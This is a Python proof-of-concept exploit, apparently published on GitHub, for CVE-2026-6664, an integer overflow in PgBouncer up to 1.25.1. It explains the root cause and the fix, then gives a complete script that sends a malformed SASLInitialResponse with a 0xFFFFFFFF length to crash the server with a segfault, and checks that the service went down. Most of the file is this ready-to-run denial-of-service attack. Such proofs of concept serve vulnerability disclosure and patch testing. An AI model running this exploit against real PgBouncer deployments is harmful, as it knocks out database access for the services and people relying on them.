README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-6664 PoC — PgBouncer crash via integer overflow in mbuf_get_bytes()
Affected : PgBouncer <= 1.25.1
Fixed in : 1.25.2 (commit ddc63c2175825bca9ef3c0a528280acaad76dbaa)
Root cause
----------
In lib/usual/mbuf.h the bounds check reads:
if (buf->read_pos + len > buf->write_pos) // BUG: 32-bit unsigned overflow
Since read_pos / write_pos / len are all `unsigned` (32-bit), the sum wraps.
The fix changes it to subtraction form:
if (len > buf->write_pos - buf->read_pos) // SAFE
Attack path (double integer overflow)
--------------------------------------
Client → PgBouncer SASLInitialResponse ('p' message) parsing in client.c:
mbuf_get_string (&pkt->data, &mech) // "SCRAM-SHA-256\\0" → read_pos = 14
mbuf_get_uint32be(&pkt->data, &length) // attacker-controlled → read_pos = 18
mbuf_get_bytes (&pkt->data, length, &data) ← OVERFLOW 1
With length = 0xFFFFFFFF (uint32_t):
18 + 0xFFFFFFFF = 0x100000011 mod 2^32 = 17
write_pos = 22 → 17 > 22 is FALSE → bounds check bypassed ✓
scram_client_first(client, 0xFFFFFFFF, data) called (client.c:1112-1115):
ibuf = malloc(datalen + 1); ← OVERFLOW 2: uint32(0xFFFFFFFF+1) = 0 → malloc(0) → non-NULL
memcpy(ibuf, data, datalen); ← reads 4 GB from 4-byte packet buffer → SIGSEGV (exit 139)
Usage
-----
python3 poc.py [host] [port]
python3 poc.py 127.0.0.1 6432 # host (pgbouncer exposed on 6432)
python3 poc.py pgbouncer 5432 # inside docker-compose network
"""
import socket, struct, sys, time
HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 6432
USER = 'testuser'
DB = 'testdb'
# ── Protocol helpers ──────────────────────────────────────────────────────────
def pack_msg(mtype: bytes, body: bytes) -> bytes:
return mtype + struct.pack('>I', len(body) + 4) + body
def send_startup(sock, user: str, db: str):
params = b'user\x00' + user.encode() + b'\x00database\x00' + db.encode() + b'\x00\x00'
body = struct.pack('>I', 196608) + params # protocol 3.0
sock.sendall(struct.pack('>I', len(body) + 4) + body)
def recv_msg(sock):
hdr = b''
while len(hdr) < 5:
chunk = sock.recv(5 - len(hdr))
if not chunk:
raise EOFError("connection closed")
hdr += chunk
mtype = hdr[0:1]
length = struct.unpack('>I', hdr[1:5])[0]
body = b''
want = length - 4
while len(body) < want:
chunk = sock.recv(want - len(body))
if not chunk:
raise EOFError("connection closed mid-message")
body += chunk
return mtype, body
def wait_for_port(host, port, retries=30, delay=2):
for i in range(retries):
try:
s = socket.create_connection((host, port), timeout=2)
s.close()
return True
except OSError:
print(f" waiting for {host}:{port} ({i+1}/{retries})...")
time.sleep(delay)
return False
# ── Exploit ───────────────────────────────────────────────────────────────────
def exploit():
print(f"[*] CVE-2026-6664 — targeting {HOST}:{PORT}")
if not wait_for_port(HOST, PORT):
sys.exit(f"[-] {HOST}:{PORT} unreachable after retries")
sock = socket.create_connection((HOST, PORT), timeout=10)
print("[*] connected — sending startup message")
send_startup(sock, USER, DB)
while True:
mtype, body = recv_msg(sock)
if mtype == b'R':
auth_type = struct.unpack('>I', body[:4])[0]
if auth_type == 10: # AuthenticationSASL
print("[+] AuthenticationSASL received — SCRAM path confirmed")
break
if auth_type == 0:
sys.exit("[-] AuthOK (no SCRAM) — set auth_type=scram-sha-256 in pgbouncer.ini")
elif mtype == b'E':
err = body.decode(errors='replace')
sys.exit(f"[-] backend error: {err[:200]}")
# ── Build malformed SASLInitialResponse ───────────────────────────────────
#
# Buffer layout when mbuf_get_bytes is called (read_pos = 18):
# bytes 0–13 "SCRAM-SHA-256\0" (consumed by mbuf_get_string)
# bytes 14–17 <overflow_len> (consumed by mbuf_get_uint32be)
# bytes 18–21 actual_data (only 4 real bytes)
#
# Overflow 1 — mbuf bounds check bypass (client.c:1336):
# read_pos=18, len=0xFFFFFFFF → 18+0xFFFFFFFF = 0x100000011 mod 2^32 = 17
# write_pos=22 → 17 > 22 is FALSE → check bypassed ✓
#
# Overflow 2 — malloc size wraps to 0 (client.c:1112):
# datalen=0xFFFFFFFF (uint32_t) → datalen+1 wraps to 0 in 32-bit → malloc(0)
# glibc malloc(0) returns non-NULL unique pointer
#
# Crash — memcpy reads 4 GB from 4-byte buffer (client.c:1115):
# memcpy(ibuf, data, 0xFFFFFFFF) — source has only 4 bytes before unmapped pages
# → SIGSEGV (exit 139)
OVERFLOW_LEN = 0xFFFFFFFF # double overflow: bypasses bounds check AND wraps malloc size to 0
actual_data = b'n,,n' # 4 bytes; makes write_pos=22 > 17 (wrapped bound check result)
mechanism = b'SCRAM-SHA-256\x00'
sasl_body = mechanism + struct.pack('>I', OVERFLOW_LEN) + actual_data
print(f"[*] sending malformed SASLInitialResponse:")
print(f" claimed sasl len : 0x{OVERFLOW_LEN:08X} ({OVERFLOW_LEN})")
wrapped_check = (18 + OVERFLOW_LEN) & 0xFFFFFFFF
print(f" bounds bypass : read_pos(18) + 0x{OVERFLOW_LEN:08X} = {wrapped_check} mod 2^32 < write_pos(22) → bypassed")
print(f" malloc size wrap : uint32(0xFFFFFFFF + 1) = 0 → malloc(0) → non-NULL")
print(f" crash : memcpy(ibuf, data, 0xFFFFFFFF) reads 4 GB from 4-byte source → SIGSEGV")
sock.sendall(pack_msg(b'p', sasl_body))
try:
sock.settimeout(10)
mtype, body = recv_msg(sock)
print(f"[!] unexpected response type={mtype!r}: {body[:80]!r}")
except (EOFError, ConnectionResetError, BrokenPipeError):
print("[+] connection reset — crash in progress")
except socket.timeout:
print("[?] timeout — pgbouncer stuck in memcpy (OOM or slow crash)")
finally:
sock.close()
print("[*] waiting for pgbouncer to die...")
for i in range(15):
time.sleep(1)
try:
s2 = socket.create_connection((HOST, PORT), timeout=2)
s2.close()
print(f" still alive ({i+1}s)...")
except OSError:
print(f"[+] CRASH CONFIRMED (exit 139 / SIGSEGV) — pgbouncer down after {i+1}s")
return
print("[!] pgbouncer survived — check system overcommit / memory limits")
if __name__ == '__main__':
exploit()